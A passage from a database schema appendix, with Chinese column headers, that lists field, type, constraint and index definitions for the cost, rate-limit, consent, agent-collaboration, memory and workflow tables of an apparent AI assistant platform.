# refIdx: index("cl_ref_idx").on(table.refType, table.refId)
# createdAtIdx: index("cl_createdAt_idx").on(table.createdAt)
# projectIdx: index("cl_projectId_idx").on(table.projectId)
# workflowIdx: index("cl_workflowId_idx").on(table.workflowId)
```

B.42 cost\_attribution\_outbox (var: costAttributionOutbox)

欄位 6 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC                            |        |
| status    | (同)  | mysqlEnum |    | NOT NULL DEFAULT pending               |        |
| attempts  | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| lastError | (同)  | text      |    |                                        |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# idempotencyKeyUnique: uniqueIndex("cao_idempotencyKey_unique").on( table.idempotencyKey )
# statusCreatedAtIdx: index("cao_status_createdAt_idx").on( table.status, table.createdAt )
```

B.43 rate\_limit\_rules (var: rateLimitRules)

欄位 10 · 索引 0 · 文件/卡提及 2 次 · 程式碼(var)引用檔 2

| 欄位名                 | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                      |
|---------------------|------|-----------|-----|----------------------------------------|-----------------------------|
| id                  | (同)  | int       |     | PK AUTO_INC                            |                             |
| ruleType            | (同)  | mysqlEnum |     | NOT NULL                               | per_user,per_api_key,global |
| targetId            | (同)  | varchar   | 128 |                                        |                             |
| provider            | (同)  | varchar   | 32  |                                        |                             |
| dailyCallLimit      | (同)  | int       |     |                                        |                             |
| dailyCostLimitUsd   | (同)  | decimal   |     |                                        |                             |
| monthlyCostLimitUsd | (同)  | decimal   |     |                                        |                             |
| isActive            | (同)  | boolean   |     | NOT NULL DEFAULT true                  |                             |
| createdAt           | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                             |
| updatedAt           | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                             |

B.44 alert\_configs (var: alertConfigs)

欄位 9 · 索引 0 · 文件/卡提及 4 次 · 程式碼(var)引用檔 1

| 欄位名              | DB欄名 | 型別        | 長度 | 約束                                     | enum 值               |
|------------------|------|-----------|----|----------------------------------------|----------------------|
| id               | (同)  | int       |    | PK AUTO_INC                            |                      |
| alertType        | (同)  | mysqlEnum |    | NOT NULL                               | budget,quota,anomaly |
| provider         | (同)  | varchar   | 32 |                                        |                      |
| thresholdPct     | (同)  | decimal   |    |                                        |                      |
| monthlyBudgetUsd | (同)  | decimal   |    |                                        |                      |
| isActive         | (同)  | boolean   |    | NOT NULL DEFAULT true                  |                      |
| lastTriggeredAt  | (同)  | timestamp |    |                                        |                      |
| createdAt        | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                      |
| updatedAt        | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                      |

B.45 model\_training\_consent (var: modelTrainingConsents)

欄位 7 · 索引 3 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名          | DB欄名 | 型別        | 長度  | 約束                     | enum 值 |
|--------------|------|-----------|-----|------------------------|--------|
| id           | (同)  | int       |     | PK AUTO_INC            |        |
| signerEmail  | (同)  | varchar   | 320 | NOT NULL               |        |
| signedAt     | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |
| proofFileKey | (同)  | text      |     |                        |        |
| revokeReason | (同)  | text      |     |                        |        |
| createdAt    | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("mtc_userId_idx").on(table.userId)
# userSubjectIdx: index("mtc_userId_subjectName_idx").on( table.userId, table.subjectName )
# revokedIdx: index("mtc_revokedAt_idx").on(table.revokedAt)
```

B.46 fine\_tuned\_model\_consent (var: fineTunedModelConsents)

欄位 4 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------|------|-----------|----|------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC            |        |
| modelId   | (同)  | int       |    | NOT NULL               |        |
| consentId | (同)  | int       |    | NOT NULL               |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# modelIdx: index("ftmc_modelId_idx").on(table.modelId)
# consentIdx: index("ftmc_consentId_idx").on(table.consentId)
```

B.47 agent\_collaboration\_sessions (var: agentCollaborationSessions)

欄位 17 · 索引 5 · 文件/卡提及 12 次 · 程式碼(var)引用檔 2

| 欄位名                  | DB欄名                  | 型別        | 長度 | 約束                                     | enum 值                                             |
|----------------------|-----------------------|-----------|----|----------------------------------------|----------------------------------------------------|
| collaborationId      | collaboration_id      | varchar   | 64 | PK                                     |                                                    |
| userId               | user_id               | int       |    | NOT NULL                               |                                                    |
| sessionId            | session_id            | varchar   | 64 | NOT NULL                               |                                                    |
| taskDescription      | task_description      | text      |    | NOT NULL                               |                                                    |
| status               | (同)                   | mysqlEnum |    | NOT NULL DEFAULT active                | active,completed,failed,cancelled                  |
| initiatingAgent      | initiating_agent      | varchar   | 32 | NOT NULL                               |                                                    |
| currentAgent         | current_agent         | varchar   | 32 |                                        |                                                    |
| participatingAgents  | participating_agents  | json      |    | NOT NULL                               |                                                    |
| requiredCapabilities | required_capabilities | json      |    |                                        |                                                    |
| sharedContext        | shared_context        | json      |    |                                        |                                                    |
| result               | (同)                   | json      |    |                                        |                                                    |
| planStatus           | (同)                   | mysqlEnum |    | DEFAULT no_plan                        | no_plan,planning,plan_approved,executing,completed |
| planData             | (同)                   | json      |    |                                        |                                                    |
| startedAt            | started_at            | bigint    |    | NOT NULL                               |                                                    |
| completedAt          | completed_at          | bigint    |    |                                        |                                                    |
| createdAt            | created_at            | timestamp |    | NOT NULL DEFAULT now()                 |                                                    |
| updatedAt            | updated_at            | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                                                    |

```
# userStatusIdx: index("acs_user_status_idx").on(table.userId, table.status)
# sessionIdx: index("acs_session_idx").on(table.sessionId)
# startedAtIdx: index("acs_started_at_idx").on(table.startedAt)
# statusIdx: index("acs_status_idx").on(table.status)
# planStatusIdx: index("plan_status_idx").on(table.planStatus)
```

B.48 agent\_collaboration\_steps (var: agentCollaborationSteps)

欄位 17 · 索引 4 · 文件/卡提及 3 次 · 程式碼(var)引用檔 0

| 欄位名             | DB欄名             | 型別      | 長度 | 約束       | enum 值 |
|-----------------|------------------|---------|----|----------|--------|
| stepId          | step_id          | varchar | 64 | PK       |        |
| collaborationId | collaboration_id | varchar | 64 | NOT NULL |        |
| stepOrder       | step_order       | int     |    | NOT NULL |        |
| agentRole       | agent_role       | varchar | 32 | NOT NULL |        |
| stepDescription | step_description | text    |    |          |        |
| toolName        | tool_name        | varchar | 64 |          |        |
| toolArgs        | tool_args        | json    |    |          |        |
| dependencies    | (同)              | json    |    |          |        |
| stepResult      | step_result      | json    |    |          |        |

| 欄位名          | DB欄名          | 型別        | 長度 | 約束                                     | enum 值                                        |
|--------------|---------------|-----------|----|----------------------------------------|-----------------------------------------------|
| status       | (同)           | mysqlEnum |    | NOT NULL DEFAULT pending               | pending,in_progress,completed,fail ed,skipped |
| errorMessage | error_message | text      |    |                                        |                                               |
| retryCount   | retry_count   | int       |    | NOT NULL DEFAULT 0                     |                                               |
| maxRetries   | max_retries   | int       |    | NOT NULL DEFAULT 3                     |                                               |
| startedAt    | started_at    | bigint    |    |                                        |                                               |
| completedAt  | completed_at  | bigint    |    |                                        |                                               |
| createdAt    | created_at    | timestamp |    | NOT NULL DEFAULT now()                 |                                               |
| updatedAt    | updated_at    | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                                               |

```
# collabOrderIdx: index("acst_collab_order_idx").on( table.collaborationId, table.stepOrder )
# collabStatusIdx: index("acst_collab_status_idx").on( table.collaborationId, table.status )
# agentRoleIdx: index("acst_agent_role_idx").on(table.agentRole)
# statusIdx: index("acst_status_idx").on(table.status)
```

B.49 agent\_collaboration\_messages (var: agentCollaborationMessages)

欄位 10 · 索引 5 · 文件/卡提及 1 次 · 程式碼(var)引用檔 0

| 欄位名             | DB欄名             | 型別        | 長度  | 約束                      | enum 值                                                               |
|-----------------|------------------|-----------|-----|-------------------------|----------------------------------------------------------------------|
| messageId       | message_id       | varchar   | 64  | PK                      |                                                                      |
| collaborationId | collaboration_id | varchar   | 64  |                         |                                                                      |
| fromAgent       | from_agent       | varchar   | 32  | NOT NULL                |                                                                      |
| toAgent         | to_agent         | varchar   | 255 | NOT NULL                |                                                                      |
| messageType     | message_type     | mysqlEnum |     | NOT NULL                | request,response,notification,hand off,broadcast,query,share_context |
| priority        | (同)              | mysqlEnum |     | NOT NULL DEFAULT normal | low,normal,high,urgent                                               |
| content         | (同)              | json      |     | NOT NULL                |                                                                      |
| correlationId   | correlation_id   | varchar   | 64  |                         |                                                                      |
| timestamp       | (同)              | bigint    |     | NOT NULL                |                                                                      |
| createdAt       | created_at       | timestamp |     | NOT NULL DEFAULT now()  |                                                                      |

```
# collabTimestampIdx: index("acm_collab_timestamp_idx").on( table.collaborationId, table.timestamp )
# correlationIdx: index("acm_correlation_idx").on(table.correlationId)
# fromAgentIdx: index("acm_from_agent_idx").on(table.fromAgent)
# toAgentIdx: index("acm_to_agent_idx").on(table.toAgent)
# timestampIdx: index("acm_timestamp_idx").on(table.timestamp)
```

B.50 agent\_collaboration\_handoffs (var: agentCollaborationHandoffs)

欄位 8 · 索引 2 · 文件/卡提及 1 次 · 程式碼(var)引用檔 1

| 欄位名                | DB欄名                | 型別        | 長度 | 約束                     | enum 值 |
|--------------------|---------------------|-----------|----|------------------------|--------|
| handoffId          | handoff_id          | varchar   | 64 | PK                     |        |
| collaborationId    | collaboration_id    | varchar   | 64 | NOT NULL               |        |
| fromAgent          | from_agent          | varchar   | 32 | NOT NULL               |        |
| toAgent            | to_agent            | varchar   | 32 | NOT NULL               |        |
| handoffReason      | handoff_reason      | text      |    |                        |        |
| contextTransferred | context_transferred | json      |    |                        |        |
| timestamp          | (同)                 | bigint    |    | NOT NULL               |        |
| createdAt          | created_at          | timestamp |    | NOT NULL DEFAULT now() |        |

```
# collabTimestampIdx: index("ach_collab_timestamp_idx").on( table.collaborationId, table.timestamp )
# fromToIdx: index("ach_from_to_idx").on(table.fromAgent, table.toAgent)
```

B.51 agent\_performance\_metrics (var: agentPerformanceMetrics)

欄位 11 · 索引 1 · 文件/卡提及 4 次 · 程式碼(var)引用檔 0

| 欄位名                 | DB欄名                 | 型別      | 長度 | 約束                 | enum 值 |
|---------------------|----------------------|---------|----|--------------------|--------|
| metricId            | metric_id            | bigint  |    | PK AUTO_INC        |        |
| agentRole           | agent_role           | varchar | 32 | NOT NULL           |        |
| metricDate          | metric_date          | date    |    | NOT NULL           |        |
| totalCollaborations | total_collaborations | int     |    | NOT NULL DEFAULT 0 |        |
| successfulSteps     | successful_steps     | int     |    | NOT NULL DEFAULT 0 |        |

| 欄位名                  | DB欄名                   | 型別        | 長度 | 約束                                     | enum 值 |
|----------------------|------------------------|-----------|----|----------------------------------------|--------|
| failedSteps          | failed_steps           | int       |    | NOT NULL DEFAULT 0                     |        |
| avgStepDurationMs    | avg_step_duration_ms   | bigint    |    |                                        |        |
| totalToolInvocations | total_tool_invocations | int       |    | NOT NULL DEFAULT 0                     |        |
| toolSuccessRate      | tool_success_rate      | decimal   |    |                                        |        |
| createdAt            | created_at             | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt            | updated_at             | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

# agentDateIdx: index("apm\_agent\_date\_idx").on( table.agentRole, table.metricDate )

B.52 orb\_conversations (var: orbConversations)

欄位 9 · 索引 2 · 文件/卡提及 1 次 · 程式碼(var)引用檔 6

| 欄位名            | DB欄名            | 型別        | 長度  | 約束                                     | enum 值 |
|----------------|-----------------|-----------|-----|----------------------------------------|--------|
| conversationId | conversation_id | varchar   | 48  | PK                                     |        |
| userId         | user_id         | int       |     | NOT NULL                               |        |
| title          | (同)             | varchar   | 120 | NOT NULL                               |        |
| pinned         | (同)             | boolean   |     | NOT NULL DEFAULT false                 |        |
| archivedAt     | archived_at     | timestamp |     |                                        |        |
| lastMessageAt  | last_message_at | timestamp |     |                                        |        |
| messageCount   | message_count   | int       |     | NOT NULL DEFAULT 0                     |        |
| createdAt      | created_at      | timestamp |     | NOT NULL DEFAULT now()                 |        |
| updatedAt      | updated_at      | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

# userUpdatedIdx: index("orbc\_user\_updated\_idx").on( table.userId, table.updatedAt )  
# userArchivedIdx: index("orbc\_user\_archived\_idx").on( table.userId, table.archivedAt )

B.53 orb\_conversation\_messages (var: orbConversationMessages)

欄位 6 · 索引 2 · 文件/卡提及 2 次 · 程式碼(var)引用檔 2

| 欄位名            | DB欄名            | 型別        | 長度 | 約束                     | enum 值   |
|----------------|-----------------|-----------|----|------------------------|----------|
| messageId      | message_id      | bigint    |    | PK AUTO_INC            |          |
| conversationId | conversation_id | varchar   | 48 | NOT NULL               |          |
| userId         | user_id         | int       |    | NOT NULL               |          |
| role           | (同)             | mysqlEnum |    | NOT NULL               | user,orb |
| text           | (同)             | text      |    | NOT NULL               |          |
| createdAt      | created_at      | timestamp |    | NOT NULL DEFAULT now() |          |

# convAtIdx: index("orbcm\_conv\_at\_idx").on( table.conversationId, table.at )  
# userConvIdx: index("orbcm\_user\_conv\_idx").on( table.userId, table.conversationId )

B.54 studio\_recipes (var: studioRecipes)

欄位 6 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名       | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                  |
|-----------|------|-----------|-----|----------------------------------------|-------------------------|
| id        | (同)  | int       |     | PK AUTO_INC                            |                         |
| userId    | (同)  | int       |     | NOT NULL                               |                         |
| name      | (同)  | varchar   | 255 | NOT NULL                               |                         |
| modality  | (同)  | mysqlEnum |     | NOT NULL                               | image,video,music,voice |
| createdAt | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                         |
| updatedAt | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                         |

# userIdIdx: index("sr\_userId\_idx").on(table.userId)  
# userIdModalityIdx: index("sr\_userId\_modality\_idx").on( table.userId, table.modality )

B.55 studio\_versions (var: studioVersions)

欄位 3 · 索引 0 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名      | DB欄名 | 型別        | 長度 | 約束          | enum 值                  |
|----------|------|-----------|----|-------------|-------------------------|
| id       | (同)  | int       |    | PK AUTO_INC |                         |
| userId   | (同)  | int       |    | NOT NULL    |                         |
| modality | (同)  | mysqlEnum |    | NOT NULL    | image,video,music,voice |

B.56 orb\_long\_term\_memories (var: orbLongTermMemories)

欄位 15 · 索引 6 · 文件/卡提及 11 次 · 程式碼(var)引用檔 1

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                                                                                 |
|-----------------|------|-----------|-----|----------------------------------------|--------------------------------------------------------------------------------------------------------|
| id              | (同)  | bigint    |     | PK AUTO_INC                            |                                                                                                        |
| userId          | (同)  | int       |     | NOT NULL                               |                                                                                                        |
| memoryType      | (同)  | mysqlEnum |     | NOT NULL                               | user_fact,user_preference,skill_learned,workflow_pattern,error_solution,success_recipe,context_snippet |
| content         | (同)  | text      |     | NOT NULL                               |                                                                                                        |
| importanceScore | (同)  | decimal   |     | NOT NULL DEFAULT 0.50                  |                                                                                                        |
| embeddingVector | (同)  | json      |     |                                        |                                                                                                        |
| sourceType      | (同)  | mysqlEnum |     | NOT NULL DEFAULT conversation          | conversation,action,observation,inference                                                              |
| sourceId        | (同)  | varchar   | 128 |                                        |                                                                                                        |
| spiritId        | (同)  | varchar   | 64  |                                        |                                                                                                        |
| metadata        | (同)  | json      |     |                                        |                                                                                                        |
| accessCount     | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                                                                                        |
| lastAccessedAt  | (同)  | timestamp |     |                                        |                                                                                                        |
| expiresAt       | (同)  | timestamp |     |                                        |                                                                                                        |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                                                                                        |
| updatedAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                                                                                        |

```
# userIdx: index("orb_ltm_user_idx").on(table.userId)
# userTypeIdx: index("orb_ltm_user_type_idx").on(table.userId, table.memoryType)
# importancex: index("orb_ltm_importance_idx").on( table.userId, table.importanceScore )
# spiritIdx: index("orb_ltm_spirit_idx").on(table.spiritId)
# accessedIdx: index("orb_ltm_accessed_idx").on(table.lastAccessedAt)
# expiresIdx: index("orb_ltm_expires_idx").on(table.expiresAt)
```

B.57 orb\_memory\_associations (var: orbMemoryAssociations)

欄位 7 · 索引 4 · 文件/卡提及 8 次 · 程式碼(var)引用檔 1

| 欄位名             | DB欄名 | 型別        | 長度 | 約束                          | enum 值                                                         |
|-----------------|------|-----------|----|-----------------------------|----------------------------------------------------------------|
| id              | (同)  | bigint    |    | PK AUTO_INC                 |                                                                |
| fromMemoryId    | (同)  | bigint    |    | NOT NULL                    |                                                                |
| toMemoryId      | (同)  | bigint    |    | NOT NULL                    |                                                                |
| associationType | (同)  | mysqlEnum |    | NOT NULL DEFAULT related_to | related_to,caused_by,part_of,similar_to,contradicts,supersedes |
| strength        | (同)  | decimal   |    | NOT NULL DEFAULT 0.50       |                                                                |
| createdBy       | (同)  | varchar   | 64 |                             |                                                                |
| createdAt       | (同)  | timestamp |    | NOT NULL DEFAULT now()      |                                                                |

```
# uniqueAssoc: uniqueIndex("orb_memory_assoc_uk").on( table.fromMemoryId, table.toMemoryId, table.associationType )
# fromIdx: index("orb_memory_assoc_from_idx").on(table.fromMemoryId)
# toIdx: index("orb_memory_assoc_to_idx").on(table.toMemoryId)
# strengthIdx: index("orb_memory_assoc_strength_idx").on(table.strength)
```

B.58 orb\_intent\_logs (var: orbIntentLogs)

欄位 12 · 索引 5 · 文件/卡提及 6 次 · 程式碼(var)引用檔 1

| 欄位名                | DB欄名 | 型別      | 長度  | 約束                     | enum 值 |
|--------------------|------|---------|-----|------------------------|--------|
| id                 | (同)  | bigint  |     | PK AUTO_INC            |        |
| userId             | (同)  | int     |     | NOT NULL               |        |
| conversationId     | (同)  | varchar | 128 | NOT NULL               |        |
| userInput          | (同)  | text    |     | NOT NULL               |        |
| detectedIntents    | (同)  | json    |     | NOT NULL               |        |
| primaryIntent      | (同)  | varchar | 128 |                        |        |
| intentConfidence   | (同)  | decimal |     |                        |        |
| ambiguityScore     | (同)  | decimal |     |                        |        |
| needsClarification | (同)  | boolean |     | NOT NULL DEFAULT false |        |

| 欄位名            | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|----------------|------|-----------|----|------------------------|--------|
| context        | (同)  | json      |    |                        |        |
| spiritAssigned | (同)  | varchar   | 64 |                        |        |
| createdAt      | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# userIdx: index("orb_intent_user_idx").on(table.userId)
# convIdx: index("orb_intent_conv_idx").on(table.conversationId)
# primaryIdx: index("orb_intent_primary_idx").on(table.primaryIntent)
# needsClarificationIdx: index("orb_intent_needs_clarification_idx").on( table.needsClarification )
# createdIdx: index("orb_intent_created_idx").on(table.createdAt)
```

B.59 orb\_clarification\_history (var: orbClarificationHistory)

欄位 13 · 索引 5 · 文件/卡提及 6 次 · 程式碼(var)引用檔 1

| 欄位名                   | DB欄名 | 型別        | 長度  | 約束                     | enum 值                                                 |
|-----------------------|------|-----------|-----|------------------------|--------------------------------------------------------|
| id                    | (同)  | bigint    |     | PK AUTO_INC            |                                                        |
| intentLogId           | (同)  | bigint    |     | NOT NULL               |                                                        |
| userId                | (同)  | int       |     | NOT NULL               |                                                        |
| conversationId        | (同)  | varchar   | 128 | NOT NULL               |                                                        |
| clarificationQuestion | (同)  | text      |     | NOT NULL               |                                                        |
| questionType          | (同)  | mysqlEnum |     | NOT NULL               | choice,confirm,parameter,constraint,preference,context |
| options               | (同)  | json      |     |                        |                                                        |
| userAnswer            | (同)  | text      |     |                        |                                                        |
| answeredAt            | (同)  | timestamp |     |                        |                                                        |
| resolvedIntent        | (同)  | varchar   | 128 |                        |                                                        |
| resolutionConfidence  | (同)  | decimal   |     |                        |                                                        |
| spiritAsked           | (同)  | varchar   | 64  |                        |                                                        |
| createdAt             | (同)  | timestamp |     | NOT NULL DEFAULT now() |                                                        |

```
# intentIdx: index("orb_clarif_intent_idx").on(table.intentLogId)
# userIdx: index("orb_clarif_user_idx").on(table.userId)
# convIdx: index("orb_clarif_conv_idx").on(table.conversationId)
# typeIdx: index("orb_clarif_type_idx").on(table.questionType)
# answeredIdx: index("orb_clarif_answered_idx").on(table.answeredAt)
```

B.60 orb\_user\_answer\_patterns (var: orbUserAnswerPatterns)

欄位 10 · 索引 2 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名               | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-------------------|------|-----------|----|----------------------------------------|--------|
| id                | (同)  | bigint    |    | PK AUTO_INC                            |        |
| userId            | (同)  | int       |    | NOT NULL                               |        |
| questionType      | (同)  | varchar   | 64 | NOT NULL                               |        |
| contextPattern    | (同)  | text      |    |                                        |        |
| commonAnswers     | (同)  | json      |    | NOT NULL                               |        |
| defaultPreference | (同)  | text      |    |                                        |        |
| confidenceScore   | (同)  | decimal   |    | NOT NULL DEFAULT 0.50                  |        |
| sampleCount       | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| lastUpdatedAt     | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |
| createdAt         | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |

```
# userIdx: index("orb_answer_user_idx").on(table.userId)
# confidenceIdx: index("orb_answer_confidence_idx").on( table.userId, table.confidenceScore )
```

B.61 orb\_feature\_usage\_stats (var: orbFeatureUsageStats)

欄位 12 · 索引 5 · 文件/卡提及 7 次 · 程式碼(var)引用檔 1

| 欄位名          | DB欄名 | 型別      | 長度  | 約束                 | enum 值 |
|--------------|------|---------|-----|--------------------|--------|
| id           | (同)  | bigint  |     | PK AUTO_INC        |        |
| userId       | (同)  | int     |     | NOT NULL           |        |
| featureId    | (同)  | varchar | 128 | NOT NULL           |        |
| usageCount   | (同)  | int     |     | NOT NULL DEFAULT 0 |        |
| successCount | (同)  | int     |     | NOT NULL DEFAULT 0 |        |

| 欄位名              | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|------------------|------|-----------|----|----------------------------------------|--------|
| failureCount     | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| avgDuration      | (同)  | decimal   |    |                                        |        |
| lastUsedAt       | (同)  | timestamp |    |                                        |        |
| firstUsedAt      | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| proficiencyScore | (同)  | decimal   |    |                                        |        |
| metadata         | (同)  | json      |    |                                        |        |
| updatedAt        | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# uniqueUserFeature: uniqueIndex("orb_feature_usage_uk").on( table.userId, table.featureId )
# userIdx: index("orb_feature_usage_user_idx").on(table.userId)
# featureIdx: index("orb_feature_usage_feature_idx").on(table.featureId)
# lastUsedIdx: index("orb_feature_usage_last_used_idx").on( table.userId, table.lastUsedAt )
# proficiencyIdx: index("orb_feature_usage_proficiency_idx").on( table.userId, table.proficiencyScore )
```

B.62 orb\_feature\_discovery\_paths (var: orbFeatureDiscoveryPaths)

欄位 8 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                     | enum 值                                                                              |
|-----------------|------|-----------|-----|------------------------|-------------------------------------------------------------------------------------|
| id              | (同)  | bigint    |     | PK AUTO_INC            |                                                                                     |
| userId          | (同)  | int       |     | NOT NULL               |                                                                                     |
| featureId       | (同)  | varchar   | 128 | NOT NULL               |                                                                                     |
| discoveryMethod | (同)  | mysqlEnum |     | NOT NULL               | orb_suggestion,menu_exploration,search,tutorial,friend_share,documentation,accident |
| fromFeatureId   | (同)  | varchar   | 128 |                        |                                                                                     |
| context         | (同)  | text      |     |                        |                                                                                     |
| timeToFirstUse  | (同)  | int       |     |                        |                                                                                     |
| discoveredAt    | (同)  | timestamp |     | NOT NULL DEFAULT now() |                                                                                     |

```
# userIdx: index("orb_discovery_user_idx").on(table.userId)
# featureIdx: index("orb_discovery_feature_idx").on(table.featureId)
# methodIdx: index("orb_discovery_method_idx").on(table.discoveryMethod)
# fromIdx: index("orb_discovery_from_idx").on(table.fromFeatureId)
```

B.63 orb\_feature\_recommendations (var: orbFeatureRecommendations)

欄位 12 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                     | enum 值 |
|-----------------|------|-----------|-----|------------------------|--------|
| id              | (同)  | bigint    |     | PK AUTO_INC            |        |
| userId          | (同)  | int       |     | NOT NULL               |        |
| featureId       | (同)  | varchar   | 128 | NOT NULL               |        |
| reason          | (同)  | text      |     | NOT NULL               |        |
| relevanceScore  | (同)  | decimal   |     | NOT NULL               |        |
| basedOnFeatures | (同)  | json      |     |                        |        |
| presentedAt     | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |
| clickedAt       | (同)  | timestamp |     |                        |        |
| usedAt          | (同)  | timestamp |     |                        |        |
| dismissedAt     | (同)  | timestamp |     |                        |        |
| feedbackRating  | (同)  | int       |     |                        |        |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |

```
# userIdx: index("orb_feature_rec_user_idx").on(table.userId)
# featureIdx: index("orb_feature_rec_feature_idx").on(table.featureId)
# presentedIdx: index("orb_feature_rec_presented_idx").on(table.presentedAt)
# relevancelIdx: index("orb_feature_rec_relevance_idx").on( table.userId, table.relevanceScore )
```

B.64 orb\_workflow\_templates (var: orbWorkflowTemplates)

欄位 19 · 索引 4 · 文件/卡提及 12 次 · 程式碼(var)引用檔 1

| 欄位名           | DB欄名 | 型別  | 長度 | 約束          | enum 值 |
|---------------|------|-----|----|-------------|--------|
| id            | (同)  | int |    | PK AUTO_INC |        |
| creatorUserId | (同)  | int |    |             |        |

| 欄位名               | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                         |
|-------------------|------|-----------|-----|----------------------------------------|--------------------------------|
| name              | (同)  | varchar   | 255 | NOT NULL                               |                                |
| description       | (同)  | text      |     |                                        |                                |
| category          | (同)  | varchar   | 64  | NOT NULL                               |                                |
| isPublic          | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                                |
| isVerified        | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                                |
| steps             | (同)  | json      |     | NOT NULL                               |                                |
| inputSchema       | (同)  | json      |     |                                        |                                |
| outputSchema      | (同)  | json      |     |                                        |                                |
| estimatedDuration | (同)  | int       |     |                                        |                                |
| difficulty        | (同)  | mysqlEnum |     | NOT NULL DEFAULT beginner              | beginner,intermediate,advanced |
| tags              | (同)  | json      |     |                                        |                                |
| usageCount        | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                |
| avgRating         | (同)  | decimal   |     |                                        |                                |
| ratingCount       | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                |
| version           | (同)  | varchar   | 32  | NOT NULL DEFAULT 1.0.0                 |                                |
| createdAt         | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                |
| updatedAt         | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                |

```
# creatorIdx: index("orb_workflow_tmpl_creator_idx").on(table.creatorUserId)
# categoryIdx: index("orb_workflow_tmpl_category_idx").on(table.category)
# publicIdx: index("orb_workflow_tmpl_public_idx").on( table.isPublic, table.avgRating )
# usageIdx: index("orb_workflow_tmpl_usage_idx").on(table.usageCount)
```

B.65 orb\_workflow\_executions (var: orbWorkflowExecutions)

欄位 16 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名              | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                            |
|------------------|------|-----------|-----|----------------------------------------|---------------------------------------------------|
| id               | (同)  | bigint    |     | PK AUTO_INC                            |                                                   |
| templateId       | (同)  | int       |     | NOT NULL                               |                                                   |
| userId           | (同)  | int       |     | NOT NULL                               |                                                   |
| conversationId   | (同)  | varchar   | 128 |                                        |                                                   |
| status           | (同)  | mysqlEnum |     | NOT NULL DEFAULT pending               | pending,running,paused,completed,failed,cancelled |
| inputs           | (同)  | json      |     |                                        |                                                   |
| outputs          | (同)  | json      |     |                                        |                                                   |
| currentStepIndex | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                                   |
| totalSteps       | (同)  | int       |     | NOT NULL                               |                                                   |
| startedAt        | (同)  | timestamp |     |                                        |                                                   |
| completedAt      | (同)  | timestamp |     |                                        |                                                   |
| durationSeconds  | (同)  | int       |     |                                        |                                                   |
| error            | (同)  | text      |     |                                        |                                                   |
| metadata         | (同)  | json      |     |                                        |                                                   |
| createdAt        | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                                   |
| updatedAt        | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                                   |

```
# templateIdx: index("orb_workflow_exec_template_idx").on(table.templateId)
# userIdx: index("orb_workflow_exec_user_idx").on(table.userId)
# statusIdx: index("orb_workflow_exec_status_idx").on( table.status, table.updatedAt )
